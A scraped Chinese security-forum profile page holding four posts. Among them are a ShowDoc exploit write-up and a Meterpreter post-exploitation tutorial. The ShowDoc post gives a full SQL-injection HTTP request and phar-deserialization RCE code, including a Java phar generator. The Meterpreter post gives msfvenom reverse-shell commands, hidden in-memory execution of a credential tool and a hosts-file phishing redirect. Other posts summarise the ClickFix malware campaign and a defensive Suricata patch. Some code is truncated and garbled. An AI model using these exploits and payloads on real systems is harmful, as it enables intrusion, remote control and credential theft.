跳转到帖子

ISHACK AI BOT

Members
  • 注册日期

  • 上次访问

ISHACK AI BOT 发布的所有帖子

  1. 漏洞版本 sqli <=3.2.5 phar 反序列化 <=3.2.4 漏洞分析 前台sqli 补丁 https://github.com/star7th/showdoc/commit/84fc28d07c5dfc894f5fbc6e8c42efd13c976fda补丁对比发现,在server/Application/Api/Controller/ItemController.class.php中将$item_id变量从拼接的方式换成参数绑定的形式,那么可以推断,这个点可能存在sql注入。 在server/Application/Api/Controller/ItemController.class.php的pwd方法中,从请求中拿到item_id参数,并拼接到where条件中执行,并无鉴权,由此可判断为前台sql注入。 但在进入sql注入点之前,会从请求中获取captcha_id和captcha参数,该参数需要传入验证码id及验证码进行验证,所以,每次触发注入之前,都需要提交一次验证码。 验证码的逻辑是根据captcha_id从Captcha表中获取未超时的验证码进行比对,验证过后,会将验证码设置为过期状态。 完整拼接的sql语句 SELECT * FROM item WHERE ( item_id = '1' ) LIMIT 1 $password 和 $refer_url 参数都可控,可通过联合查询控制password的值满足条件返回$refer_url参数值,1') union select 1,2,3,4,5,6,7,8,9,0,11,12 --,6对应的是password字段,所以password参数传递6,条件成立,回显传入$refer_url参数,那么就存在sql注入。 POST /server/index.php?s=/Api/Item/pwd HTTP/1.1Host: 172.20.10.1Content-Length: 110Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: http://127.0.0.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://127.0.0.1/server/index.php?s=/Api/Item/pwdAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9sec-ch-ua: "Google Chrome";v="125", "Chromium";v="125", "Not.A/Brand";v="24"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-fetch-site: same-originsec-fetch-mode: navigatesec-fetch-dest: documentcookie: PHPSESSID=1r419tk5dmut6vs4etuv656t1q; think_language=zh-CN; XDEBUG_SESSION=XDEBUG_ECLIPSEx-forwarded-for: 127.0.0.1x-originating-ip: 127.0.0.1x-remote-ip: 127.0.0.1x-remote-addr: 127.0.0.1Connection: close captcha=8856&captcha_id=87&item_id=1')+union+select+1,2,3,4,5,6,7,8,9,0,11,12+--&password=6&refer_url=aGVsbG8= sqli获取token 鉴权是通过调用server/Application/Api/Controller/BaseController.class.php的checkLogin方法来进行验证。 未登录时,会从请求中拿到user_token参数,再通过user_token在UserToken表中查询,验证是否超时,将未超时记录的uid字段拿到User表中查询,最后将返回的$login_user设置到Session中。 那么只需要通过注入获取到UserToken表中未超时的token,那么就可以通过该token访问后台接口。 phar反序列化rce 补丁 https://github.com/star7th/showdoc/commit/805983518081660594d752573273b8fb5cbbdb30补丁将new_is_writeable方法的访问权限从public设置为private。 在server/Application/Home/Controller/IndexController.class.php的new_is_writeable方法中。该处调用了is_dir,并且$file可控,熟悉phar反序列化的朋友都知道,is_dir函数可协议可控的情况下可触发反序列化。 有了触发反序列化的点,还需要找到一条利用链,Thinkphp环境中用到GuzzleHttp,GuzzleHttp\Cookie\FileCookieJar的__destruct方法可保存文件。 网上已经有很多分析,这里直接给出生成phar的exp。 cookies = array(new SetCookie()); }private $strictMode;}class FileCookieJar extends CookieJar { private $filename = "E:\\Tools\\Env\\phpstudy_pro\\WWW\\showdoc-3.2.4\\server\\test.php"; private $storeSessionCookies = true; }class SetCookie { private $data = array('Expires' => '); }}namespace { $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("GIF89a"."); //设置stub $o = new \GuzzleHttp\Cookie\FileCookieJar(); $phar->setMetadata($o); //将⾃定义的meta-data存⼊manifest $phar->addFromString("test.txt", "test"); //添加要压缩的⽂件 //签名⾃动计算 $phar->stopBuffering(); }生成exp时,写入的路径需要指定绝对路径,在docker中部署的默认为/var/www/html,其他则可以通过访问时指定一个不存在的模块报错拿到绝对路径。 后续利用,找到一个上传且知道路径的点,将生成的phar文件改成png进行上传。 访问返回的链接,可获取上传文件的路径。 调用new_is_writeable方法,通过phar://访问文件触发反序列化。 武器化利用思考 在java环境下,对该漏洞进行武器化时,考虑到两点情况,一个是在通过sqli获取token时,需要对验证码进行识别,目前网上已经有师傅移植了ddddocr。 https://github.com/BreathofWild/ddddocr-java8另一个是在使用exp生成phar文件时,需要指定写入文件的绝对路径以及内容,在java下没找到可以直接生成phar文件的方法,没法动态生成phar文件,对phar文档格式解析,实现一个可在java环境下指定反序列化数据来生成phar文件的方法。 phar文档格式解析 通过php生成一个phar文件,用010 Editor 打开,通过官网文档对phar格式说明,解析phar的文件。 https://www.php.net/manual/zh/phar.fileformat.ingredients.phpphar文档分为四个部分:Stub、manifest、contents、signature Stub 就是一个php文件,用于标识该文件为phar文件,该文件内容必须以来结尾 ,感觉类似于文件头。 manifest 这个部分不同区间指定了一些信息,其中就包含了反序列化的数据。 https://www.php.net/manual/zh/phar.fileformat.phar.php1-4(bytes) 存放的是整个 manifest 的长度,01C7转换为10进制为455,代表整个manifest 的长度455。 5-8(bytes) Phar 中的文件数 也就是 contents 中的文件数 ,有一个文件。 9-10 存放的是 API version 版本。 11-14 Global Phar bitmapped flags。 15-18 如果有别名,那么该区间存放的是别名长度,这里不存在别名。 19-22 元数据长度 0191 转十进制 401 代表元数据长度为 401。 22-?元数据,元数据中存放的就是反序列化的数据。 contents 这个部分可有可无,是 manifest 第二个区间指定的一个内容,官网没有具体说明,漏洞利用时也不会用到。 signature actual signature 这个部分存放签名内容。签名的方式不同,签名的长度也不一样,SHA1 签名为 20 字节,MD5 签名为 16 字节,SHA256 签名为 32 字节,SHA512 签名为 64 字节。OPENSSL 签名的长度取决于私钥的大小。 ignature flags (4 bytes) 这个部分标识签名的算法, 0x0001 用于定义 MD5 签名, 0x0002 用于定义 SHA1 签名, 0x0003 用于定义 SHA256 签名, 0x0004 用于定义 SHA512 签名。0x0010 用于定义 OPENSSL 签名。 GBMB (4 bytes) Magic GBMB 签名算法为 02,使用的即是SHA1签名。 签名的长度为 20 字节。 通过对整个phar文件格式进行解析,发现大部分字段都是固定不变的。需要变化的字段有: 1、manifest 的长度 2、manifest 中元数据 3、manifest 中的 元数据长度 4、signature flag 签名算法 5、signature 签名数据 java生成 phar文件 最终构造得到: package org.example; import com.sun.org.apache.xml.internal.security.exceptions.Base64DecodingException;import com.sun.org.apache.xml.internal.security.utils.Base64; import java.io.ByteArrayOutputStream;import java.io.FileOutputStream;import java.io.IOException;import java.nio.ByteBuffer;import java.nio.charset.StandardCharsets;import java.security.MessageDigest;import java.security.NoSuchAlgorithmException; public class App { public static void main( String[] args ) throws IOException, Base64DecodingException { final FileOutputStream fileOutputStream = new FileOutputStream("phar.phar"); final byte[] decode = Base64.decode("TzozMToiR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphciI6NDp7czo0MToiAEd1enpsZUh0dHBcQ29va2llXEZpbGVDb29raWVKYXIAZmlsZW5hbWUiO3M6ODoidGVzdC5waHAiO3M6NTI6IgBHdXp6bGVIdHRwXENvb2tpZVxGaWxlQ29va2llSmFyAHN0b3JlU2Vzc2lvbkNvb2tpZXMiO2I6MTtzOjM2OiIAR3V6emxlSHR0cFxDb29raWVcQ29va2llSmFyAGNvb2tpZXMiO2E6MTp7aTowO086Mjc6Ikd1enpsZUh0dHBcQ29va2llXFNldENvb2tpZSI6MTp7czozMzoiAEd1enpsZUh0dHBcQ29va2llXFNldENvb2tpZQBkYXRhIjthOjE6e3M6NzoiRXhwaXJlcyI7czoxOToiPD9waHAgcGhwaW5mbygpOyA/PiI7fX19czozOToiAEd1enpsZUh0dHBcQ29va2llXENvb2tpZUphcgBzdHJpY3RNb2RlIjtOO30="); final String s = new String(decode); fileOutputStream.write(GeneratePharFilebyte(s, 2)); fileOutputStream.close(); } public static byte[] GeneratePharFilebyte(String payload, int hashMode) { // 添加 stub String stubStr = "GIF89a; byte[] stubByte = stubStr.getBytes(StandardCharsets.UTF_8); // 长度 14 byte[] manifestMid = {(byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x11, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00}; // 反序列化数据 byte[] SerializationByte = payload.getBytes(StandardCharsets.UTF_8); // 文件数据 byte[] fileByte = {(byte) 0x08, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x74, (byte) 0x65, (byte) 0x73, (byte) 0x74, (byte) 0x2E, (byte) 0x74, (byte) 0x78, (byte) 0x74, (byte) 0x04, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0xF7, (byte) 0x02, (byte) 0x63, (byte) 0x66, (byte) 0x04, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x0C,(byte) 0x7E, (byte) 0x7F, (byte) 0xD8, (byte) 0xB6, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x74, (byte) 0x65, (byte) 0x73, (byte) 0x74}; // Signature // 2. 签名标志 ByteBuffer signaturebuffer = ByteBuffer.allocate(4); signaturebuffer.putInt(hashMode); byte[] signatureFlag = signaturebuffer.array(); // GBMB byte[] gbgm = {(byte) 0x47, (byte) 0x42, (byte) 0x4D, (byte) 0x42}; // 计算反序列化数据长度 ByteBuffer Seriabuffer = ByteBuffer.allocate(4); Seriabuffer.putInt(SerializationByte.length); byte[] SeriaLength = Seriabuffer.array(); // 计算总长度 int length = manifestMid.length + SerializationByte.length + fileByte.length; ByteBuffer buffer = ByteBuffer.allocate(4); buffer.putInt(length); byte[] manifestLength = buffer.array(); try { final ByteArrayOutputStream baos = new ByteArrayOutputStream(); // 添加 stub baos.write(stubByte); // 添加manifest 总长度 reverseBytes(manifestLength); baos.write(manifestLength); // 添加 manifestMid baos.write(manifestMid); // 添加反序列化数据长度 reverseBytes(SeriaLength); baos.write(SeriaLength); // 添加反序列化数据 baos.write(SerializationByte); // 添加文件 baos.write(fileByte); // 添加signature // 计算 signature if (hashMode == 1){ // md5 MessageDigest md5Digest = MessageDigest.getInstance("MD5"); byte[] md5Bytes = md5Digest.digest(baos.toByteArray()); baos.write(md5Bytes); } else if (hashMode == 2) { // sha1 MessageDigest sha1Digest = MessageDigest.getInstance("SHA-1"); sha1Digest.update(baos.toByteArray()); byte[] hashBytes = sha1Digest.digest(); baos.write(hashBytes); } else if (hashMode == 3) { // SHA256 MessageDigest sha256Digest = MessageDigest.getInstance("SHA-256"); sha256Digest.update(baos.toByteArray()); byte[] hashBytes = sha256Digest.digest(); baos.write(hashBytes); }else if (hashMode == 4) { // SHA512 MessageDigest sha512Digest = MessageDigest.getInstance("SHA-512"); sha512Digest.update(baos.toByteArray()); byte[] hashBytes = sha512Digest.digest(); baos.write(hashBytes); } // 添加签名标志 reverseBytes(signatureFlag); baos.write(signatureFlag); // 添加 baos.write(gbgm); return baos.toByteArray(); } catch (IOException e) { throw new RuntimeException(e); } catch (NoSuchAlgorithmException e) { throw new RuntimeException(e); } } public static void reverseBytes(byte[] bytes) { int left = 0; int right = bytes.length - 1; while (left < right) { // 交换左右两端的元素 byte temp = bytes[left]; bytes[left] = bytes[right]; bytes[right] = temp; // 移动左右指针 left++; right--; } }}
  2. 一项新的恶意软件分发活动正使用虚假的 Google Chrome、Word 和 OneDrive 错误诱骗用户运行安装恶意软件的恶意 PowerShell“修复程序”。 据观察,这项新活动被多个恶意分子使用,包括 ClearFake 背后的恶意分子、一个名为 ClickFix 的新攻击集群,以及 TA571 威胁者,后者以垃圾邮件分发者的身份运作,发送大量电子邮件,导致恶意软件和勒索软件感染。 此前的 ClearFake 攻击利用网站覆盖层,提示访问者安装虚假的浏览器更新,进而安装恶意软件。 威胁者还在新的攻击中使用 HTML 附件和受感染网站中的 JavaScript。但是,现在覆盖层会显示虚假的 Google Chrome、Microsoft Word 和 OneDrive 错误。这些错误会提示访问者单击按钮将 PowerShell“修复”复制到剪贴板,然后在“运行:”对话框或 PowerShell 提示符中粘贴并运行它。 ProofPoint 的一份新报告称:“尽管攻击链需要大量用户交互才能成功,但社会工程学可以同时向人们呈现看似真实的问题和解决方案,这可能会促使用户在不考虑风险的情况下采取行动。” Proofpoint 发现的有效载荷包括 DarkGate、Matanbuchus、NetSupport、Amadey Loader、XMRig、剪贴板劫持程序和 Lumma Stealer。 PowerShell“修复”导致恶意软件 Proofpoint 分析师观察到三条攻击链,它们的区别主要在于初始阶段,只有第一条攻击链不能高度可信地归因于 TA571。 在第一个案例中,与 ClearFake 背后的恶意分子有关,用户访问一个受感染的网站,该网站通过币安的智能链合约加载托管在区块链上的恶意脚本。 该脚本执行一些检查并显示虚假的 Google Chrome 警告,指出显示网页时出现问题。然后,对话框提示访问者通过将 PowerShell 脚本复制到 Windows 剪贴板并在 Windows PowerShell(管理)控制台中运行该脚本来安装“根证书”。 伪造的 Google Chrome 错误 当执行 PowerShell 脚本时,它将执行各种步骤来确认设备是有效目标,然后它将下载其他有效负载,如下所述: ·刷新 DNS 缓存; ·删除剪贴板内容; ·显示诱饵消息; ·下载另一个远程 PowerShell 脚本,该脚本在下载信息窃取程序之前执行反虚拟机检查。 “ClearFake”攻击链 第二条攻击链与“ClickFix”活动有关,它在受感染的网站上使用注入,创建一个 iframe 来覆盖另一个虚假的 Google Chrome 错误。用户被指示打开“Windows PowerShell(管理员)”并粘贴提供的代码,从而导致上述相同的感染。 最后,基于电子邮件的感染链使用类似于 Microsoft Word 文档的 HTML 附件,提示用户安装“Word Online”扩展程序才能正确查看文档。 错误消息提供“如何修复”和“自动修复”选项,其中“如何修复”将 base64 编码的 PowerShell 命令复制到剪贴板,指示用户将其粘贴到 PowerShell 中。 “自动修复”使用 search-ms 协议在远程攻击者控制的文件共享上显示 WebDAV 托管的“fix.msi”或“fix.vbs”文件。 伪造的 Microsoft Word 错误会导致恶意软件 在这种情况下,PowerShell 命令会下载并执行 MSI 文件或 VBS 脚本,从而分别导致 Matanbuchus 或 DarkGate 感染。 在所有情况下,恶意分子都利用了目标对在其系统上执行 PowerShell 命令的风险缺乏认识这一事实。他们还利用了 Windows 无法检测和阻止粘贴代码发起的恶意操作这一特点。 不同的攻击链都表明 TA571 正在积极尝试多种方法,以提高效率并寻找更多感染途径来入侵更多系统。
  3. 二开背景 suricata是一款高性能的开源网络入侵检测防御引擎,旨在检测、预防和应对网络中的恶意活动和攻击。suricata引擎使用多线程技术,能够快速、准确地分析网络流量并识别潜在的安全威胁,是众多IDS和IPS厂商的底层规则检测模块。 前段时间搭了个suricata引擎播包测试流量规则,发现原生的suricata引擎并不能获取规则匹配的位置、命中的字符串等信息。因suricata引擎并不会输出命中的信息,遂修改源码,改了命中详情(下文简称高亮)出来,今天想跟大家分享一下修改和使用的过程。 1、suricat编译安装 参考官方文档https://docs.suricata.io/en/suricata-6.0.0/install.html#install-advanced 先装库,装rust支持,装make 然后下载源码make 编译后的二进制程序在/src/.libs/suricata查看依赖库,然后补齐到默认so库目录中即可运行。 2、vscode+gdb调试suricata环境搭建 然后就是装插件,除了必备的c语言插件全家桶之外还需要装GDB Debug这个插件。 接着任意新建一个运行配置。 修改lauch.json为: { // Use IntelliSense to learn about possible attributes. // Hover to view descriptions of existing attributes. // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387 "version": "0.2.0", "configurations": [ { "name": "(gdb) Launch", "type": "cppdbg", "request": "launch", "program": "${fileDirname}/../src/.libs/suricata", //以下为监听网卡模式。 // "args": [ // "-i", "ens33", "-c", "/home/lalala/Desktop/suricata/6/suricata.yaml", "-v", "-l","/home/lalala/Desktop/suricata/6/log6/","--runmode", "single" // ], //以下为读包模式。 "args": [ "-r", "/home/lalala/Desktop/suricata/6/6-27/48040.pcap", "-c", "/home/lalala/Desktop/suricata/6/suricata.yaml", "-v", "-l","/home/lalala/Desktop/suricata/6/log6/","--runmode", "single" ], "stopAtEntry": true, "cwd": "${fileDirname}", "environment": [], "externalConsole": false, "MIMode": "gdb", "setupCommands": [ { "description": "Enable pretty-printing for gdb", "text": "-enable-pretty-printing", "ignoreFailures": true }, { "description": "Set Disassembly Flavor to Intel", "text": "-gdb-set disassembly-flavor intel", "ignoreFailures": true } ] }, ]}选择配置好的配置运行,看到断在入口,调试环境完成。 3、suricata流程分析,寻找关键位置 流程过于复杂,简单理解就是匹配和记录日志的地方是分在不同线程,但是又有结构体可以从匹配带到那里。 4、关键位置代码分析,获取高亮内容 根据流程,在初始化后慢慢摸索找到关键函数DetectEngineContentInspection smd为传入规则,根据type的不同走不同的代码块儿匹配。本次加高亮重点关注CONTENT和PCRE这两个最常用的类型。 CONTENT代码块里,重点在于这个found。分析得出最后两个else里都是命中。 根据原字符串,偏移,长度即可组合出高亮字符串。 f为flow结构体也就是会带到打印日志那边的结构体,在结构体中新加一个字符串,即可达成带数据到日志流程的目的。 高亮函数代码: static int Get_gaoliang(const char* data,u_int32_t end, u_int32_t len,char* res){ char tmp[1024] = ""; if (len<1024) { memcpy(tmp, data + end-len, len); }else{ memcpy(tmp, data + end-len, 1024); } strncat(res, tmp,4096); strncat(res, "\n\0",4096); return 1;} pcre同理,在命中流程中加入写高亮字符串即可。 5、高亮加到日志 高亮字符已经写入到了flow结构体。下一步就是在打印日志的时候读到,写出来。 最优先的当然是fastlog,因为fastlog本就是触发规则会进行输出的日志,且没有其他干扰。 从Packet结构体找到flow结构体找到其中的gaoliang字符串,打印即可。 最终效果,fastlog会在正常展示命中的同时,讲高亮内容展示。 6、修改汇总 汇总代码放在github 上链接https://github.com/webraybtl/suricata_gaoliang 修改文件详情: > alert-fastlog.c 加打印 修改 AlertFastLogger 添加如下代码: PrintBufferData(alert_buffer, &size, MAX_FASTLOG_ALERT_SIZE, "=========ruleid:%" PRIu32 "高亮字段展示=======:\n%s====================================\n",pa->s->id,p->flow->gaoliang); > detect-engine-content-inspection.c 加Get_gaoliang函数 修改DetectEngineContentInspection函数 加入 写入高亮字符串逻辑。 static int Get_gaoliang(const char* data,u_int32_t end, u_int32_t len,char* res){ char tmp[1024] = ""; if (len<1024) { memcpy(tmp, data + end-len, len); }else{ memcpy(tmp, data + end-len, 1024); } strncat(res, tmp,4096); strncat(res, "\n\0",4096); return 1; } int DetectEngineContentInspection(DetectEngineCtx *de_ctx, DetectEngineThreadCtx *det_ctx, const Signature *s, const SigMatchData *smd, Packet *p, Flow *f, const uint8_t *buffer, uint32_t buffer_len, uint32_t stream_start_offset, uint8_t flags, uint8_t inspection_mode) { ... ... ... if (found == NULL && !(cd->flags & DETECT_CONTENT_NEGATED)) { if ((cd->flags & (DETECT_CONTENT_DISTANCE|DETECT_CONTENT_WITHIN)) == 0) { /* independent match from previous matches, so failure is fatal */ det_ctx->discontinue_matching = 1; } goto no_match; } else if (found == NULL && (cd->flags & DETECT_CONTENT_NEGATED)) { goto match; } else if (found != NULL && (cd->flags & DETECT_CONTENT_NEGATED)) { if(f){ Get_gaoliang((char*)buffer,match_offset,cd->content_len,f->gaoliang); } SCLogInfo("content %"PRIu32" matched at offset %"PRIu32", but negated so no match", cd->id, match_offset); /* don't bother carrying recursive matches now, for preceding * relative keywords */ if (DETECT_CONTENT_IS_SINGLE(cd)) det_ctx->discontinue_matching = 1; goto no_match; } else { match_offset = (uint32_t)((found - buffer) + cd->content_len); if(f){ Get_gaoliang((char*)buffer,match_offset,cd->content_len,f->gaoliang); } ... > flow.h flow结构体加一个gaoliang字符串成员。 typedef struct Flow_ { ... ... ... char gaoliang[4096]; } Flow; 遗留问题 1、因只开辟了4096字节存高亮字符,会有溢出。 2、直接按字符串打印展示出来的,对十六进制展示不理想,00会导致打印不全。 原文链接
  4. 0x01初识Meterpreter 1.1.什么是Meterpreter Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。Meterpreter shell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外Meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS[基于主机的入侵检测系统]很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有经验的人也会变得非常困难。 最后,Meterpreter还可以简化任务创建多个会话。可以来利用这些会话进行渗透。在Metasploit Framework中,Meterpreter是一种后渗透工具,它属于一种在运行过程中可通过网络进行功能扩展的动态可扩展型Payload。这种工具是基于“内存DLL注入”理念实现的,它能够通过创建一个新进程并调用注入的DLL来让目标系统运行注入的DLL文件。其中,攻击者与目标设备中Meterpreter的通信是通过Stager套接字实现的meterpreter作为后渗透模块有多种类型,并且命令由核心命令和扩展库命令组成,极大的丰富了攻击方式。 需要说明的meterpreter在漏洞利用成功后会发送第二阶段的代码和meterpreter服务器dll,所以在网络不稳定的情况下经常出现没有可执行命令,或者会话建立执行help之后发现缺少命令。 连上vpn又在内网中使用psexec和bind_tcp的时候经常会出现这种情况 1.2.Meterpreter技术优势 Metasploit提供了各个主流平台的Meterpreter版本,包括Windows、Linux,同时支持x86、x64平台,另外,Meterpreter还提供了基于PHP和Java语言的实现。Meterpreter的工作模式是纯内存的,好处是启动隐藏,很难被杀毒软件监测到。不需要访问目标主机磁盘,所以也没什么入侵的痕迹。除上述外,Meterpreter还支持Ruby脚本形式的扩展。所以Ruby语言还很有必要。 0x02 Meterpreter中常用的反弹类型 1.reverse_tcp 这是一个基于TCP的反向链接反弹shell, 使用起来很稳定 (1)Linux: 使用下列命令生成一个Linux下反弹shell木马: msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444 -f elf -o shell 看上图,我们可以看见目录下已经成功生成木马文件isshell。然后我们给文件加上可执行权限。然后我们打开Metasploit,使用模块handler,设置payload,注意:这里设置的payload要和我们生成木马所使用的payload一样。 设置下地址和端口,我们就开始监听了 这边运行一下我们的反弹shell木马,可以发现成功反弹回shell了 (2)Windows: msfvenom -p windows/meterpreter/reverse_tcp lhost=[你的IP] lport=[端口] -f exe -o 要生成的文件名 msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444 -f exe -o shell.exe 反向连接shell,使用起来很稳定,需要设置LHOST 2.reverse_http 基于http方式的反向连接,在网速慢的情况下不稳定。 payload:/windows/meterpreter/reverse_http 3.reverse_https 基于https方式的反向连接,在网速慢的情况下不稳定, https如果反弹没有收到数据,可以将监听端口换成443试试 payload:/windows/meterpreter/reverse_https 4.bind_tcp 这是一个基于TCP的正向连接shell,因为在内网跨网段时无法连接到attack的机器,所以在内网中经常会使用,不需要设置LHOST。 使用下列命令生成木马: msfvenom -p linux/x86/meterpreter/bind_tcp lport=4444 -f elf -o shell 同样道理加权限运行,不演示了。 这里注意,我们设置的IP地址和端口就是目标机的。因为这是我们主动来连接它。 0x03 相关Payload Payload中包含有需要在远程系统中运行的恶意代码,而在Metasploit中Payload是一种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。简而言之,这种漏洞利用模块可以访问目标系统,而其中的代码定义了Payload在目标系统中的行为。 Metasploit中的Payload模块主要有以下三种类型: -Single -Stager -Stage Single是一种完全独立的Payload,而且使用起来就像运行calc.exe一样简单,例如添加一个系统用户或删除一份文件。由于Single Payload是完全独立的,因此它们有可能会被类似netcat这样的非metasploit处理工具所捕捉到。 Stager这种Payload负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。一种常见的Stagers Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条tcp连接。另一种常见的是bind_tcp,它可以让目标系统开启一个tcp监听器,而攻击者随时可以与目标系统进行通信。 Stage是Stager Payload下载的一种Payload组件,这种Payload可以提供更加高级的功能,而且没有大小限制。 在Metasploit中,我们可以通过Payload的名称和使用格式来推断它的类型: Single Payload的格式为<target>/ <single> Stager/Stage Payload的格式为<target>/ <stage> / <stager> 当我们在Metasploit中执行“show payloads”命令之后,它会给我们显示一个可使用的Payload列表: 在这个列表中,windows/powershell_bind_tcp就是一个Single Payload,它不包含Stage Payload。而windows/x64/meterpreter/reverse_tcp则由一个Stager Payload(reverse_tcp)和一个Stage Payload(meterpreter)组成。 0x04 Meterpreter的常用命令 1.基本命令 help# 查看Meterpreter帮助 background#返回,把meterpreter后台挂起 bgkill# 杀死一个背景 meterpreter 脚本 bglist#提供所有正在运行的后台脚本的列表 bgrun#作为一个后台线程运行脚本 channel#显示活动频道 sessions -i number # 与会话进行交互,number表示第n个session,使用session -i 连接到指定序号的meterpreter会话已继续利用 sesssions -k number #与会话进行交互 close# 关闭通道 exit# 终止 meterpreter 会话 quit# 终止 meterpreter 会话 interact id #切换进一个信道 run#执行一个已有的模块,这里要说的是输入run后按两下tab,会列出所有的已有的脚本,常用的有autoroute,hashdump,arp_scanner,multi_meter_inject等 irb# 进入 Ruby 脚本模式 read# 从通道读取数据 write# 将数据写入到一个通道 run和bgrun# 前台和后台执行以后它选定的 meterpreter 脚本 use# 加载 meterpreter 的扩展 load/use#加载模块 Resource#执行一个已有的rc脚本 2.文件系统命令 cat c:\boot.ini#查看文件内容,文件必须存在 del c:\boot.ini #删除指定的文件 upload /root/Desktop/netcat.exe c:\ # 上传文件到目标机主上,如upload setup.exe C:\\windows\\system32\ download nimeia.txt /root/Desktop/ # 下载文件到本机上如:download C:\\boot.ini /root/或者download C:\\"ProgramFiles"\\Tencent\\QQ\\Users\\295******125\\Msg2.0.db /root/ edit c:\boot.ini # 编辑文件 getlwd#打印本地目录 getwd#打印工作目录 lcd#更改本地目录 ls#列出在当前目录中的文件列表 lpwd#打印本地目录 pwd#输出工作目录 cd c:\\ #进入目录文件下 rm file #删除文件 mkdir dier #在受害者系统上的创建目录 rmdir#受害者系统上删除目录 dir#列出目标主机的文件和文件夹信息 mv#修改目标主机上的文件名 search -d d:\\www -f web.config #search 文件,如search -d c:\\ -f*.doc meterpreter > search -f autoexec.bat #搜索文件 meterpreter > search -f sea*.bat c:\\xamp\\ enumdesktops #用户登录数 (1)下载文件 使用命令“download +file path”,将下载目标机器的相对应权限的任何路径下的文件 (2)上传文件 “upload”命令为上传文件到我们的目标机器,在图中我们上传了ll.txt到目标机器的c:\pp\下。 (3)查看文件 “cat filename”在当前目录下查看文件内容,输入命令后便会返回给我们所查看文件的内容。 (4)切换、查询当前路径 “pwd”命令将查询当前在dos命令下的路径,“cd”命令可以改变当前路径,如下图中cd ..为切换到当前路径下的上一目录。 (5)“sysinfo”命令 “sysinfo”命令为显示远程主机的系统信息,显示计算机、系统信息、结构、语言等信息。可以看到远程主机的操作系统是windows XP service pack 2,sp2这个系统有很多漏洞。 (6)execute命令 “execute”命令为目标主机上执行一个命令,其中“execute -h”显示帮助信息。-f为执行要运行的命令, 在目标主机上运行某个程序,例如我们目前注入进程到explorer.exe后,运行用户为超级管理administrator 我们运行一下目标主机上的记事本程序 execute -f notepad.exe 目标主机上立马弹出来一个记事本程序,如下图: 这样太明显,如果希望隐藏后台执行,加参数-H execute -H -f notepad.exe 此时目标主机桌面没反应,但我们在meterpreter会话上使用ps命令看到了 再看一个,我们运行目标主机上的cmd.exe程序,并以隐藏的方式直接交互到我们的meterpreter会话上 命令: execute -H -i -f cmd.exe 这达到的效果就跟使用shell命令一样了 再来一个,在目标主机内存中直接执行我们攻击主机上的攻击程序,比如wce.exe,又比如木马等,这样可以避免攻击程序存储到目标主机硬盘上被发现或被查杀。 execute -H -m -d notepad.exe-f wce.exe -a "-o wce.txt" -d 在目标主机执行时显示的进程名称(用以伪装) -m 直接从内存中执行 "-o wce.txt"是wce.exe的运行参数 (7)idletime命令 “idletime”命令为显示目标机器截止到当前无操作命令的时间。图中的显示意思为目标主机有操作是在9分19秒之前。 (8)search命令 “search“命令在目标主机搜索特定的文件。该命令能够通过搜索整个系统或特定的文件夹。 使用“search –h”命令来查看search命令的帮助信息: 下图中,“search –f aa.txt”命令为查看目标机中在当前目录以及当前目录的子目录中有没有aa.txt这个文件,若有则显示出其路径。 “search –f l*.txt c:\\pp”为显示出c:\\pp下及pp文件夹下所有的子文件下所有以l开头的txt文件,若有此类文件,则返回其路径和其大小。 (9)edit命令 调用vi编辑器,对目标主机上的文件修改 例如修改目标主机上的hosts文件,使得目标主机访问baidu时去到准备好的钓鱼网站(仅限实验用途) 在目标主机上ping www.baidu.com,出来的目标IP就是我们修改的192.168.1.1了 3.网络命令 ipconfig/ifconfig#显示网络接口的关键信息,包括 IP 地址 portfwd -h 用法:portfwd [-h] [add | delete | list | flush] [args] 选项: -L <opt>要监听的本地主机(可选) -h帮助横幅 -l <opt>要监听的本地端口 -p <opt>连接到的远程端口 -r <opt>要连接到的远程主机 portfwd add -l 4444 -p 3389 -r 192.168.1.102 # 端口转发,本机监听4444,把目标机3389转到本机4444 netstat -an | grep“4444" #查看指定端口开放情况 rdesktop -u Administrator -p bk#123 127.0.0.1:4444 #使用rdesktop来连接桌面,-u 用户名 -p 密码 rdesktop 127.1.1.0:4444 #需要输入用户名和密码远程连接 route#查看或修改受害者路由表 route add 192.168.1.0 255.255.255.0 1 #添加动态路由 route print #路由表输出 runget_local_subnets #目标主机的内网IP段情况 Arp #看ARP缓冲表 Getproxy #获取代理 (1)portfwd 